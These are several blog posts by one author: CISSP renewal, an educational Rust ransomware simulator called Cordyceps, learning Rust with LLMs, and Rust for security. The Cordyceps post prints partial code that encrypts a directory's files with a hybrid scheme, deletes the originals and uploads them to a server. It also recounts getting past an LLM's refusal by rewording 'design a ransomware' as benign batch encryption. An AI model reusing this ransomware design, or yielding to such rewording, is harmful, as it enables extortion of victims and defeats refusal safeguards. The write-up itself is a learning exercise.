In my personal experience, the CISSP was never the determinant factor that secured a position or guaranteed a promotion, and I genuinely don’t find fault in that. Ultimately, the certification is just a professional badge. What truly drives success, in my estimation, remains proven accomplishments:

• The quantifiable impact of your actions
• The demonstrable value you add to the business

Keeping the Badge

To maintain the certification, (ISC)² requires two things: payment of the Annual Maintenance Fee (AMF) and the collection of Continuing Professional Education (CPE) credits. Unlike some other certifications, there is no need to repeat the grueling examination. I find this approach highly commendable because, at the end of the day, what truly matters is that the intellectual fire remains lit, keeping you up-to-date with new technologies and emergent threat landscapes.

CPEs are the required evidence of this ongoing professional development. The beauty of this system is its flexibility: we can claim credits for:

• Applied research
• Formalized training
• Even relevant on-the-job experience, provided the activity maps back to the CBK domains.

This means that simply by actively working and developing within the Infosec area, you are continuously collecting the necessary CPEs, effectively renewing your certificate through the sheer act of being an engaged professional.

Criticism

My only point of criticism is related to the tangible benefits offered to certified professionals, or “members.” Currently, the offering seems sparse, mostly limited to discounts on (ISC)² events and access to a few foundational courses. Considering the price of the annual fee, I believe the value proposition could be substantially improved.

For instance, I struggle to comprehend the rationale behind billing members to attend virtually to the very events the organization is hosting. Even if a fee structure is deemed necessary, charging hundreds of dollars for virtual attendance is prohibitive. For professionals like myself located in emerging countries where the US Dollar is not the national currency, this is more than just “not okay”; it becomes an absolute blocker to participation.

Regarding alternative benefits, if this annual fee were translated, for example, into complimentary access to a resource library like O’Reilly’s virtual catalog, the value would be undeniable and deeply satisfying. As it stands, I merely pay the fee to guarantee my certification renewal, harboring no expectation of receiving substantial, meaningful benefits from (ISC)², which is, frankly, a pity.

Final Thoughts

I once read that “T-shaped” engineers work effectively in most areas and are experts in at least one , and the CISSP is fundamentally designed to help achieve that broad, foundational knowledge. It is a good example of finding the real happiness in the journey of learning, not solely in the target of achieving the pass/fail score. The true, lasting value of this certification is inextricably tied to its body of knowledge. Truly mastering it will make you a more consistent and capable Infosec professional, empowering you to navigate the different domains fearlessly.

If this certification included demonstrably better benefits, such as relevant professional subscriptions or the possibility of participating in official events for free or at truly competitive prices, it would enhance the professional obligation it represents. This perceived lack of valuable benefits makes me consistently re-evaluate the decision to renew the certificate.

And yet, here I am, re-certified for the next cycle and with all my CPEs already filled one year in advance.

Do I recommend pursuing the CISSP after five years? Definitely, for the knowledge it imparts. Do I recommend perpetually keeping certified? Well, with the current balance of cost and benefit, I’m not entirely sure. However, with simple, member-focused adjustments, (ISC)² could easily turn that into an enthusiastic definitely yes answer.

Project Overview

Before writing a single line of code, I defined the project’s structure and goals. Cordyceps is a command-line application written in Rust that simulates ransomware behavior for educational purposes. The project is divided into six modules: main, cli, core, crypto, net, and error.

• main: Application entry point.
• cli: Command-line argument parsing.
• core: Core orchestration logic.
• crypto: Cryptographic operations and the .zombie file format.
• net: Exfiltration of encrypted files to a remote server.
• error: Custom error types for unified error handling.

The application is modular and extensible; each module has a clear responsibility.

Modules

Following Rust’s best practices for organization, Cordyceps is structured into six modules. The main module boots the app, cli parses user intent, and core orchestrates operations, delegating tasks to the crypto and net modules. The error module provides shared error types. The diagram below provides a graphical overview, and in the following sections, we’ll delve into each module in that order.

flowchart LR
  A[User CLI] --> B[main]
  B --> C[cli]
  C --> D[core]
  D --> E[crypto]
  D --> F[net]

fn main() {
    env_logger::init();

    if let Err(e) = cli::run() {
        error!("Cordyceps error: {}", e);
        std::process::exit(1);
    }
}

#[derive(Parser, Debug)]
#[command(...)]
enum Cli {
    Encrypt(EncryptArgs),
    Decrypt(DecryptArgs),
    Generate(GenerateArgs),
}

pub fn run() -> Result<(), AppError> {
    let args = match Cli::try_parse() {
        Ok(args) => args,
        Err(e) => e.exit(),
    };

    info!("Arguments parsed and loaded");
    debug!("Arguments: {:?}", args);

    match args {
        Cli::Encrypt(args) => sporulate(&args.path, &args.key, args.no_delete, &args.server),
        Cli::Decrypt(args) => disinfect(&args.path, &args.key, args.no_delete),
        Cli::Generate(args) => germinate(&args.path),
    }
}

# Generate a new key pair in the current directory
cordyceps generate

# Encrypt files in the 'data' directory and send them to a server
cordyceps encrypt -p ./data -k main-public.key -s http://localhost:2673

# Decrypt the files using your private key
cordyceps decrypt -p ./data -k main-private.key

#[cfg(test)]
mod tests {
    use super::*;
    use clap::Parser;

    #[test]
    fn test_encrypt_args_parsing() {
        let args = Cli::parse_from([...]);

        if let Cli::Encrypt(args) = args {
            assert_eq!(args.path.to_str().unwrap(), "/tmp");
            assert_eq!(args.key.to_str().unwrap(), "/var/main-public.key");
            assert!(args.no_delete);
            assert_eq!(args.server, Some("http://example.com:2673".to_string()));
        } else {
            panic!("Expected encrypt args");
        }
    }
}

#[derive(Error, Debug)]
pub enum CryptoError {
    #[error("I/O error: {0}")]
    Io(#[from] io::Error),
    // ...
}

#[derive(Error, Debug)]
pub enum AppError {
    #[error("Cryptographic operation failed: {0}")]
    Crypto(#[from] CryptoError),
  // ...
}

const EXCLUDED_DIRS: &[&str] = &["...", "..."];
const EXCLUDED_FILES: &[&str] = &["...", "..."];

static EXCLUDED_DIRS_SET: LazyLock<HashSet<&'static str>> =
    LazyLock::new(|| EXCLUDED_DIRS.iter().copied().collect());

static EXCLUDED_FILES_SET: LazyLock<HashSet<&'static str>> =
    LazyLock::new(|| EXCLUDED_FILES.iter().copied().collect());

#[tokio::main]
pub async fn sporulate(
    path: &Path,
    key: &Path,
    no_delete: bool,
    server: &Option<String>,
) -> Result<(), AppError> {
    // ...

let walker = WalkDir::new(path)
    .into_iter()
    .filter_entry(|entry| {...})
    .filter_map(Result::ok)
    .filter(|entry| entry.file_type().is_file());

pub fn disinfect(
    path: &Path,
    key: &Path,
    no_delete: bool
) -> Result<(), AppError> {
  // ...

pub fn germinate(
  path: &Path
) -> Result<(), AppError> {
  // ...

let (private_key, public_key) = generate_keypair()?;

let decoded_prikey = b64_decode(&private_key_b64)?;
if decoded_prikey != *private_key.as_bytes() {
  return Err(AppError::Crypto(CryptoError::KeyVerification));
}

use aes_gcm::{
    Aes256Gcm,
    aead::{Aead, KeyInit, Nonce},
};
use base64::{Engine, engine::general_purpose::STANDARD_NO_PAD};
use hkdf::Hkdf;
use log::{debug, info};
use rand::{RngCore, rngs::OsRng};
use x25519_dalek::{EphemeralSecret, PublicKey, StaticSecret};

struct ZombieHeader {
    ephemeral_public_key: PublicKey,
    encrypted_file_aes_key_with_tag: [u8; 48],
    key_enc_aes_nonce: Nonce<Aes256Gcm>,
    file_aes_nonce: Nonce<Aes256Gcm>,
}

impl ZombieHeader {
    const HEADER_SIZE: usize = 4 + 1 + 32 + 48 + 12 + 12;

    fn write_to<W: Write>(&self, mut writer: W) -> Result<(), io::Error> {
        // ...
    }

    fn from_reader<R: Read>(mut reader: R) -> Result<Self, CryptoError> {
        // ...
    }
}

let mut file = File::open(path)?;
let file_size =
  usize::try_from(file.metadata()?.len()).map_err(|_| CryptoError::FileTooLarge)?;
let mut plaintext = Vec::with_capacity(file_size);
file.read_to_end(&mut plaintext)?;
debug!("Read {} bytes from {:?}", plaintext.len(), path);

let mut random_bytes = [0u8; 56]; // 32 bytes key + 12 bytes nonce + 12 bytes key-enc nonce
OsRng.try_fill_bytes(&mut random_bytes)?;

let file_aes_key_bytes: [u8; 32] = random_bytes[..32].try_into().unwrap();
let file_aes_nonce_bytes: [u8; 12] = random_bytes[32..44].try_into().unwrap();
let key_enc_aes_nonce_bytes: [u8; 12] = random_bytes[44..].try_into().unwrap();

let file_aes_key = aes_gcm::Key::<Aes256Gcm>::from_slice(&file_aes_key_bytes);
let cipher_file_aes_gcm = Aes256Gcm::new(file_aes_key);
let file_aes_nonce = Nonce::<Aes256Gcm>::from_slice(&file_aes_nonce_bytes);

let ephemeral_private = EphemeralSecret::random_from_rng(OsRng);
let ephemeral_public = PublicKey::from(&ephemeral_private);
// ...

let shared_secret = ephemeral_private.diffie_hellman(public_key);

let hkdf = Hkdf::<sha2::Sha256>::new(None, shared_secret.as_bytes());
// ...
hkdf.expand(b"key_encapsulation_aes_key_derivation", &mut key_enc_aes_key_derived_bytes)

let plaintext = cipher_file_aes_gcm
    .decrypt(...)
    .map_err(|e| {
        if e == aes_gcm::aead::Error {
            CryptoError::AuthenticationTag
        } else {
            CryptoError::Decryption(...)
        }
    })?;

pub async fn upload_file(
    client: &Client,
    base_url: &str,
    local_path: &Path,
) -> Result<u16, AppError> {
// ...

let mut sanitized_file_name = String::with_capacity(file_name.len());
for c in file_name.chars() {
    if c.is_ascii_alphanumeric() || matches!(c, '.' | '-' | '_') {
        sanitized_file_name.push(c);
    }
}

let file_content = fs::read(local_path).await?;

let file_part = multipart::Part::bytes(file_content)
  .file_name(final_file_name)
  .mime_str("application/octet-stream")?;
let form = multipart::Form::new().part("files", file_part);

let response = client.post(&url).multipart(form).send().await?;

LLM Help

I used multiple LLMs to brainstorm features and code ideas. Interestingly, when I asked an LLM to “help me design a ransomware,” it immediately answered, “I can’t do that.” However, asking it to “help me design a program that encrypts files in batch and sends them over the network” was enough to get helpful guidance. In this sense, they acted as useful assistants, providing insights ranging from needed documentation to good crates to use. When it came to coding, they provided invaluable insights on things like how to use a given crate or how to make the code more efficient, like suggesting HashSet for exclusion lists.

However, I always treated LLM output as suggestions, not as authoritative code to be blindly pasted. My workflow was:

1. Understand the proposed change.
2. Type the suggested code (no editor integrations).
3. Compile and fix issues raised by the compiler.

One recurring issue I found was that crate APIs sometimes change quickly, and LLMs occasionally referenced older versions. Since the model was trained with a previous version of that crate, it simply didn’t know how the newest version worked. When that happened, I consulted the crate’s documentation and community resources (Stack Overflow, blogs) to reconcile the differences.

A recurring risk is vibe coding 🌈: using LLM-generated code without understanding it. LLMs produce confident answers, which can amplify this problem. It’s up to the developer to validate results and learn the underlying concepts. However, this same pitfall can be a double-edged sword for threat actors, as a non-skilled person is now able to leverage models to create their own version of malware, which significantly increases the threat landscape ⚠️.

Issues and TODOs

During development, several improvements were identified, also marked as TODO in the code:

Conclusion

Building Cordyceps was a challenging and rewarding way to learn Rust 💪. The project forced me to dive into Rust’s module system, error handling, concurrency, and cryptographic primitives.

Through this project, I learned in practice things I had read in The Rust Programming Language book and was able to experience some real-world issues, like transitive dependencies and error handling, realizing that Rust is not as perfect as some preach. I also discovered important crates in the Rust ecosystem that extend the language and simplify development. Implementing an ECIES-like scheme from scratch deepened my understanding of asymmetric and symmetric crypto interactions.

In the end, I’m very satisfied with the results and looking forward to the next challenges in Rust. In some ways, I feel the language’s restrictions make me a better programmer, and I’m eager to keep exploring it. A final note on LLMs: while they dramatically accelerate development and research, they also lower the barrier for less-skilled threat actors, expanding the threat landscape 👾. That’s precisely why security teams must avoid preconceptions and leverage LLMs to improve detection, automate response, and harden defenses. 💡

From Books and Peers to the Internet

Years ago, when I started learning Pascal 📜 in college, I used the Borland Turbo Pascal 7.0 IDE and a book. Not much changed when I later learned C 🅲 and Java ☕: it was basically just the compiler, the book, and me. Occasionally, I’d have a colleague who was also learning the language, and we’d exchange knowledge. This was great, especially when the other person had more experience, because I could learn not only from the book and my own attempts at solving exercises, but also from those peer interactions.

The learning process isn’t just about reading, doing exercises, and successfully compiling programs; it’s also about analyzing what you’re learning, making connections to other topics, and reflecting on the subject itself. That includes thinking about the pros and cons of a feature, how it was designed, how it’s meant to be used, and how it interacts with other features. It’s important to remember: a programming language is not the end; it’s the means. The goal is to solve real problems.

A few years after college, I began learning Python 🐍. The process was a bit different by then: I had better internet access and could read documentation and articles in English. The rise of Web 2.0 was transforming the internet from a static collection of pages into a more dynamic, user-generated space. With it came more blogs, websites, and online manuals. So, my learning experience expanded beyond the book and interpreter: I could now search online to complement and reinforce what I was studying. Unfortunately, having finished college, I no longer had peers to learn with. But I had gained the internet.

With the proliferation of Web 2.0, forums and communities started to flourish, providing new ways to share experiences with others. Most of these communities were English-based, which was a challenge for me as a non-native speaker. But eventually, one of them became a game-changer for anyone learning a new programming language: Stack Overflow. More often than not, someone had already encountered the same problem, asked about it, and received an answer. While it sometimes took effort to map your own problem to those existing answers, when it worked, it felt like a huge achievement.

The New Era: Learning with an LLM

So now, in 2025, I’ve started learning a new language: Rust 🦀. I often find myself with the book open, the editor/compiler ready, and an LLM chat running in parallel. Intuitively, instead of turning to Google or Stack Overflow, I ask the LLM my questions. Like a helpful peer, it replies. Not with a generic, pre-made answer like you’d find on Stack Overflow or a blog, but with something tailored to my specific context. No more searching, scanning, and adapting answers to fit my situation.

I’ve noticed the LLM can take on different roles depending on how I use it. So far, I’ve identified at least two distinct personas: the assistant and the programmer.

As an assistant, the LLM helps by offering insights, creating better examples, writing snippets, troubleshooting errors, or even discussing more abstract or philosophical ideas. It feels like having a human expert or mentor by your side. If it’s not obvious already: this dramatically accelerates learning. But, of course, that speed comes with trade-offs—more on that later.

The second role is the programmer. Here, you act as the project manager: you define the goals, constraints, and requirements, and the LLM implements them. Yes, I’m talking about vibe coding 🌈. Personally, I’m not a big fan, but I recognize its utility; especially for quick scripts or small, well-defined tasks. It’s not really learning, though, since you’re delegating the problem-solving and implementation to the model. That said, if you take the time to read and understand the output, there’s still something to gain.

Having access to an assistant or programmer like this would’ve been unimaginable just a few years ago. Here’s how I’ve been using LLMs in practice:

• Ad-hoc: Starting fresh chats with one or more LLMs to explore specific topics or language features. This works well because, in my experience, conversations can get biased by earlier prompts, which sometimes leads to misleading answers. Starting a new thread resets that context; but yes, having to re-explain everything is a bit tedious.
• Simple editor integration: This is like Copilot: your editor becomes smart enough to auto-complete lines or entire code blocks. It’s great for productivity and vibe coding, but less so for learning. In fact, when you’re trying to understand something deeply, this can be distracting, as you’re constantly dismissing suggestions. That’s why I disabled it while learning Rust.
• Agent integration: This is when you bring the chat into your code editor, giving the LLM full context of your entire project—multiple files, configurations, docs, etc. The results feel almost magical: with complete context and agent-like capabilities, the LLM can make highly precise suggestions or even directly modify your code. It blurs the line between assistant and programmer in a very useful way.

LLMs also shine as debuggers. For example, while implementing base64 encoding/decoding, I accidentally used a padded engine for encoding and an unpadded one for decoding, a classic error. Once I narrowed it down to those two functions, I asked the LLM to investigate. It immediately spotted the mismatch and offered the correct fix. That alone saved me 30–60 minutes—recall I’m still new to Rust.

The Pitfalls and Limitations of LLMs

While LLMs can be incredibly helpful, they can also pull you away from the learning process, depending on how you use them. At first glance, they might seem perfect. But no, there are real drawbacks, hallucinations 🤪 being one of the biggest. Eventually, the model might suggest a feature, module, or behavior that simply doesn’t exist. While better prompts can reduce this issue, it’s serious and the main reason why every LLM output must be reviewed carefully.

Sometimes, you even need to restart the chat because the model seems stuck, unable to follow a coherent line of thinking. It’s like you have to refresh its memory. I’ve noticed moments where the LLM becomes lazy, offering shallow or repetitive answers, like suggesting dozens of irrelevant modules instead of focusing on fixing an actual error. Interestingly, being a bit more assertive or even harsh with the model often gets it back on track. Fabio Akita mentioned this in the Flow podcast: since the model is designed to please, clearly expressing dissatisfaction can cause it to “rethink” and improve its responses.

Another memorable experience happened while discussing an encryption/decryption feature. I forgot to mention that the user needed to supply the private key. When I asked the LLM to generate the code, I noticed it had embedded both the public and private ⚠️ keys directly in the code. This kicked off a conversation about security. The model didn’t suggest alternatives like reading the key from a file or an environment variable: it just embedded the key and didn’t raise any warning. Once I asked it to add an argument for the private key, boom: it removed the hardcoded key from the code.

I’ve also seen organization issues. The LLM sometimes adds unused variables or modules, making the code unnecessarily messy. And when working with crates that recently had major version updates (like v1 to v2), it often suggested outdated syntax or features, resulting in code that wouldn’t compile. In those cases, I had to turn to the documentation and real examples to get things working.

Ultimately, accelerated learning with LLMs comes with a tradeoff: if you rely too heavily on them, you risk weakening your own reflection and critical thinking. It’s like depending on a knowledgeable peer who might suddenly disappear: if you lose access to the LLM, you could be stuck. That’s why it’s crucial to keep your learning process active. Use the LLM as a tool, but always question the answers and stay engaged with the underlying concepts 💡.

Conclusion

I’m very positive about the advantages of using LLMs for learning. However, you need a clear direction, like a solid book or structured guide, and the LLM should serve as an assistant along that path. Since LLMs are often embedded in code editors, it’s worth disabling them while practicing. These models have already consumed most available programming books and Git repositories, so when you’re working through exercises, they can end up autofilling the entire solution, which defeats the purpose.

You also need to be mindful that LLMs can’t replace your own experience—especially when it comes to making mistakes. At one point, I noticed my brain getting lazy; instead of trying something out and learning from the results, I kept asking the LLM whether it would work. That’s not ideal, because a big part of the learning process involves running into errors, reading error messages, interpreting them, and working through the solutions yourself.

At the end of the day, LLMs are powerful learning tools as they can significantly speed up your progress. With an on-demand expert assistant at your side, you can not only learn faster but also start building things more quickly. In development, an LLM can act like a pair programming peer, helping you make decisions and implement ideas.

However, like any assistant or peer, it doesn’t replace real understanding. If you don’t grasp the underlying technology, you’re likely to accept whatever the LLM suggests, just as you might with a human colleague. In that sense, it’s not a new problem. That’s why having a foundational resource is essential. It serves as the backbone of the learning process.

By using LLMs, I estimate that I sped up my learning by more than three months, a great example of how AI can boost productivity. This aligns with Linus Torvalds’ 🐧 perspective that LLMs are tools meant to help us get better at what we do. So yes, LLMs are a fantastic resource, as long as you don’t sacrifice your own understanding 🥇. Keeping these warnings in mind will help you make the most of them. 👊

Core Concepts and Security

Before diving deep into Rust, I revisited foundational operating systems concepts, particularly focusing on memory management. When a program executes, the operating system loads it into memory, assigning virtual addresses that are subsequently mapped to physical addresses. Each process operates within its own virtual address space, believing it has exclusive access to memory. The OS enforces this isolation, preventing processes from interfering with each other’s memory. Within a process’s memory space, key sections for programmers are the stack and the heap.

The stack provides fast access memory due to its predictable structure, but it requires that the size of stored values be known at compile time. In contrast, the heap allows for dynamic memory allocation during runtime and supports flexible data structures, though with generally slower access. Many common security vulnerabilities 🐛, such as buffer overflows, memory leaks, dangling pointers, and double frees, arise from improper management of heap memory, especially in languages without built-in memory safety. While some issues like buffer overflows can affect both stack and heap, problems like double frees and leaks are specific to heap-allocated data.

To proactively address these challenges, Rust’s creators introduced the concept of ownership 🏠, arguably one of Rust’s most significant contributions to security. Ownership establishes a rigorous set of guardrails and rules that programmers must adhere to. These rules effectively serve as a masterclass in proper memory management, designed to prevent corruptions. Indeed, the process of learning Rust often feels akin to gaining X-ray vision into the intricacies of memory management.

Rust’s ownership model is built on key concepts like borrowing, references, and lifetimes, each enabling safe and efficient memory use. Borrowing lets code access data without taking ownership. References are pointer-like structures that follow borrowing rules to ensure safety. Lifetimes track how long references are valid, preventing dangling pointers at compile time.

Building upon this, a programmer must possess a clear understanding of where data resides in memory, a skill invaluable for reverse engineering and exploit development, as this directly dictates how the data can be utilized. For instance, scalar types (like integers, floats, and booleans) are typically stored on the stack because their sizes are known at compile time. They implement the Copy trait, allowing them to be used more freely without explicit ownership transfers. Conversely, compound types (like String, Vec, and Box) manage data on the heap. While the String, Vec, or Box itself (which contains pointers/lengths/capacities) might reside on the stack, the actual data they manage is allocated on the heap. These types generally do not implement Copy and are subject to Rust’s strict borrowing rules, necessitating careful adherence to prevent issues.

The next code listing shows some examples on it.

fn main() {
    // `s1` is on the stack. Simple, fast.
    let s1 = 5;

    // `s2` is a pointer on the stack pointing to data on the heap.
    // This allocation is explicit and understood.
    let s2 = Box::new(10);

    // Moving `s2` to `s3` invalidates `s2`. The compiler enforces this.
    // This is a lesson in pointer semantics and memory safety.
    let s3 = s2;
    // println!("{}", s2); // ERROR! Value borrowed after move.
} // The heap memory for Box<i32> is freed here. Rust teaches you this.

This clarity regarding data storage locations enables a programmer to examine any enum or struct definition and confidently infer the layout and storage characteristics of its components, particularly how the initial, stack-resident part of the data is structured.

Rust is a strongly typed language, and it rigorously enforces these types throughout the codebase. While this contributes significantly to code predictability, it can sometimes be a source of initial confusion for newcomers, especially when navigating generics and error handling mechanisms; topics we’ll explore further.

For performance-conscious engineers, it’s vital to recognize that Rust incorporates high-level language features such as generics, iterators, and traits. Crucially, these abstractions compile down to highly efficient assembly code, introducing virtually no runtime overhead, a concept known as zero-cost abstractions. This design also makes Rust exceptionally amenable to functional programming paradigms, which is a significant advantage in my opinion. The following snippet of code shows some of these features in action.

// An enum to define the possible types of log events.
// This enforces strong typing for log categories.
enum LogType {
    Login,
    FailedLogin,
    Alert,
}

// A generic struct to represent a log entry.
// It uses a generic type `T` for the `payload`, allowing it to hold
// different data types like a raw byte stream, a string, or a structured
// object.
struct LogEntry<T> {
    log_type: LogType,
    payload: T,
}

// A simple `impl` block for our generic `LogEntry`.
// The compiler guarantees this works for any type `T`.
impl<T> LogEntry<T> {
    // This method simply consumes the `LogEntry` and returns its payload.
    fn into_payload(self) -> T {
        self.payload
    }
}

// This is a zero-cost abstraction. We're providing a specialized `impl`
// block that is only available when the `payload` type is a `String`.
// This allows us to add specific, type-dependent functionality.
impl LogEntry<String> {
    // This method is only available for log entries with a String payload.
    fn is_potential_alert(&self) -> bool {
        self.payload.contains("SQL") || self.payload.contains("XSS")
    }
}

Rust also enforces immutability by default for variables. This means that to alter a variable’s value after its initial assignment, it must be explicitly marked with the mut keyword. This design choice dramatically enhances code explicitness and predictability.

Rust famously avoids “Null” values, a design decision aimed at preventing the “billion-dollar mistake” often associated with null pointers. To gracefully handle the absence of a value, the Option<T> enum type was introduced, offering a remarkably clean and type-safe solution.

The next snippet of code shows how immutability and Option<T> work in practice.

// This variable is immutable by default. Its value can't be changed.
let threat_level = "High";

// The following line would result in a compile-time error:
// threat_level = "Low";

// To allow the value to change, we use the `mut` keyword.
let mut scan_status = "Scanning...";
println!("Current status: {}", scan_status);
scan_status = "Scan Complete.";
println!("Final status: {}", scan_status);

// `Option<T>` is used for values that may or may not exist,
// avoiding the "billion-dollar mistake" of null pointers.
// `Some(T)` holds a value, `None` represents its absence.
let vulnerability_found: Option<&str> = Some("CVE-2023-12345");

// The `match` statement forces us to handle both possibilities,
// ensuring we never try to access a non-existent value.
match vulnerability_found {
    Some(cve) => println!("Alert: Vulnerability {} found.", cve),
    None => println!("No vulnerabilities detected."),
}

Ergonomics

Functions in Rust implicitly return the final expression in their body, eliminating the need for an explicit return keyword in many cases. This design choice contributes to cleaner and more concise code.

The concept of shadowing allows us to re-declare a variable with the same name within the same scope, effectively “shadowing” the previous one. This can often simplify code by avoiding the need for distinct names like spaces_str and spaces_num, allowing us to reuse a simpler name such as spaces when its type or value changes.

The _ (underscore) pattern serves multiple ergonomic purposes. It can be used to explicitly mark a variable as intentionally unused, silencing compiler warnings, and also acts as a wildcard or “catch-all” in match expressions or destructuring, akin to an “else” variant. Refer to the next listing for some examples.

fn is_valid_scan(port: u16) -> bool {
    port < 1024  // same as: return port < 1024;
}

let connection = "tcp";
let connection = connection.len(); // `connection` is now an integer

let log_entry = ("INFO", "10.0.0.5", "Login successful");
let (_, _, message) = log_entry; // ignoring the log level and IP address

The presence of various string-like types (e.g., string literals like "foo", character literals like 'f', String, &str) can initially feel somewhat confusing. This diversity is fundamentally tied to their memory allocation (stack vs. heap) and the specific operations they support, representing a learning curve for newcomers.

// `&str` is a "string slice". It's a reference to a sequence of characters
// that lives somewhere else (in this case, in the program's binary).
// It's immutable and fast, living on the stack.
let security_protocol: &str = "TLS";

// `String` is a growable, owned string on the heap.
// We use it when we need to modify or own string data.
let mut log_message = String::from("Successful login attempt from ");
log_message.push_str("10.0.0.5");
// `log_message` data is on the heap, but its pointer and length are on
// the stack.

// A `char` is a single Unicode character, 4 bytes on the stack.
// It's a simple, distinct type from string-like types.
let alert_char = '!';

// We can convert between types. Here, we borrow a slice from a `String`.
let log_slice: &str = &log_message;

enums and structs are powerful features that empower programmers to tailor code precisely to their use cases. By allowing the creation of custom compound data types, they enhance code readability while adhering to Rust’s “zero-cost abstraction” principle.

Generics offer an excellent mechanism for providing dynamic type functionality, promoting code reuse and type safety. However, as we’ll discuss further in the “Challenges” section, their over-extensive use can quickly lead to code that is difficult to comprehend.

Control flow constructs like match expressions and if let statements significantly streamline the implementation of multiple conditional cases. When utilized effectively, particularly with pattern matching, they contribute to highly elegant and readable code. The next example shows these contructs in practice.

// An enum to represent security events.
enum SecurityEvent {
    PortScan,
    LoginAttempt,
    Alert,
}

// Use `match` for an exhaustive check of all possible event types.
let event_1 = SecurityEvent::Alert;
match event_1 {
    SecurityEvent::Alert => println!("CRITICAL: Alert triggered."),
    SecurityEvent::PortScan => println!("INFO: Port scan detected."),
    SecurityEvent::LoginAttempt => println!("INFO: Login attempt detected."),
}

// Use `if let` for a concise check when you only care about one specific
// type.
let event_2 = SecurityEvent::PortScan;
if let SecurityEvent::PortScan = event_2 {
    println!("ACTION: Respond to port scan.");
}

When applied judiciously and limited to appropriate scenarios, declarative programming paradigms can result in cleaner code and accelerated development. However, excessive reliance on declarative approaches can introduce its own set of challenges, as we’ll explore. For instance, using clap, a crate for parsing command line arguments, in its “derive mode”—#[clap(...)]—is easy, idiomatic, and readable, but it’s crucial for the programmer to understand the underlying logic and implications of each attribute.

Ecosystem

A significant advantage of modern programming languages lies in their accompanying tooling ecosystem. While Python boasts tools like pip and uv—the latter written in Rust—, Rust provides Cargo, which truly acts as the “swiss army knife” for any Rust developer.

Cargo is an all-encompassing tool capable of compiling Rust code, initializing new projects following best practices, managing third-party modules (known as “crates” within the Rust community), executing tests, generating documentation, and performing static analysis with Clippy. This integrated toolchain is a profound time-saver, eliminating the need to wrestle with complex Makefiles or craft shell scripts for building and testing your codebase.

Furthermore, crates.io serves as an exceptional central repository for Rust crates. Beyond aggregation, it provides vital metrics such as usage statistics, dependency graphs, comprehensive documentation, and developer information. From a security perspective, this transparency is critical; relying on obscure or nascent crates without proper due diligence can significantly increase a project’s exposure to supply chain attacks 🧨.

An interesting aspect of Cargo’s build process is its “lazy” compilation for development. Given that compile times are a frequent point of discussion within the Rust community, developers commonly use cargo build or cargo run for faster compilation of non-optimized binaries during iterative development. Only when preparing for a release do they execute cargo build —release to enable full optimizations. These optimized versions are significantly smaller: in my own experience, an unoptimized build yielded a 24 MB binary, while the release version was 7 MB, a size I still found somewhat substantial for the code I’ve written 🤷.

The paramount advantage here is that once the binary is generated, unlike interpreted languages, users simply need to execute it on a supported architecture/OS, and it just works. The notorious “it works on my machine” syndrome becomes a relic of the past—remember my Python background. This results in a robust, self-contained executable, making it an invaluable asset for scenarios like incident response.

In a similar vein, numerous community crates significantly extend Rust’s functionalities, enhancing the overall programming experience by reducing boilerplate and improving code ergonomics. From my perspective, thiserror, clap, rand, and tokio are stellar examples, though many other excellent crates undoubtedly exist.

The established conventions for structuring crates, whether for binaries or libraries, are remarkably well-defined and contribute to project maintainability as well. For example, the standard use of src/main.rs for binaries and src/lib.rs for libraries ensures consistency across projects, making it easier for developers to navigate unfamiliar codebases.

Errors and Tests

Rust embraces a robust error handling philosophy by implementing the Result<T, E> enum type, designed to explicitly convey success or failure rather than relying on exceptions. This pattern, especially when combined with the ergonomic ? operator, significantly streamlines error propagation and handling.

Utility functions such as .expect(), .unwrap(), .map_err(), and .ok_or() prove exceptionally useful for managing and transforming Result types. The next code listing shows these functions in action.

use std::fs::File;
use std::io::{self, Read};
use std::path::Path;

// This function attempts to read a file and returns a `Result`.
// It returns the file's content as a `String` on success.
// On failure, it returns an `io::Error` (E). It kind of simulates
// the std::path::{Path, PathBuf} types from Rust's standard library.
fn read_config_file<P: AsRef<Path>>(path: P) -> Result<String, io::Error> {
    // We use the `?` operator. If `File::open` fails, it
    // returns the error immediately from the function.
    let mut file = File::open(path)?;
    let mut contents = String::new();

    // The `?` operator also works here. If `read_to_string` fails,
    // the error is propagated.
    file.read_to_string(&mut contents)?;

    // If both operations succeed, we wrap the content in `Ok`.
    Ok(contents)
}

// In a security tool, you might use `.expect()` to handle a
// critical, non-recoverable error.
fn load_critical_config() -> String {
    let path = "critical_config.json";
    // `.expect()` will panic if the result is an error.
    // This is useful for unrecoverable errors that should halt the program.
    read_config_file(path).expect("Failed to load critical configuration file")
}

Rust’s clear distinction between recoverable Errors and unrecoverable Panics simplifies decision-making in error scenarios. Moreover, the fact that both mechanisms gracefully clean up the stack before exiting contributes to safer and more robust code, preventing potential resource leaks or undefined behavior. The following snippet of code shows examples of both types of failures.

use std::fs::File;
use std::io::{self, Read};

// This function returns a `Result` (recoverable error).
// A caller can decide how to handle a potential failure.
fn read_file_contents(path: &str) -> Result<String, io::Error> {
    let mut file = File::open(path)?;
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

// This function will cause a panic (unrecoverable error) on failure.
// It's used when we assume an operation should never fail in practice.
fn get_critical_secret() -> String {
    // We use `.unwrap()` here. If the file is not found, the program will
    // panic and print a message. The stack is cleaned up safely before the
    // program exits.
    let mut file = File::open("critical_secret.txt").unwrap();
    let mut contents = String::new();
    file.read_to_string(&mut contents).unwrap();
    contents
}

The primary challenge with Rust’s error handling, particularly in complex applications, stems from its strong typing. Propagating errors upstream often necessitates explicit type conversions, which can be verbose in standard Rust. However, crates like thiserror elegantly mitigate this by providing derive macros for custom error types and automatic From trait implementations. This often leads to Rust projects featuring a dedicated error module to define a consistent error hierarchy—usually error.rs—, streamlining error handling across the application. While Rust inherently provides backtraces on panics, structuring your error types carefully allows for richer and more context-aware error reporting even for recoverable errors.

Rust offers a remarkably graceful approach to testing. I particularly appreciate the intuitive structure for defining tests and the built-in assertions like assert!, assert_eq!, assert_ne!, and #[should_panic]. The ability to collocate unit tests within the same file as the routines they’re validating, encapsulated in mod tests blocks, is an excellent design choice, as seen in the next example.

// The function to be tested.
// It checks if a given port is a common service port (under 1024).
fn is_common_service_port(port: u16) -> bool {
    port < 1024
}

// The `#[cfg(test)]` attribute ensures this code is only compiled for testing.
#[cfg(test)]
mod tests {
    use super::*;

    // `#[test]` marks a function as a test.
    #[test]
    fn test_valid_port() {
        assert!(is_common_service_port(80));
    }

    #[test]
    fn test_high_port() {
        assert_eq!(is_common_service_port(8080), false);
    }
}

Challenges

Naturally, this unparalleled level of safety and fine-grained control comes with certain trade-offs. The very features that imbue Rust with immense power can, at times, also present challenges; a true “double-edged blade” phenomenon.

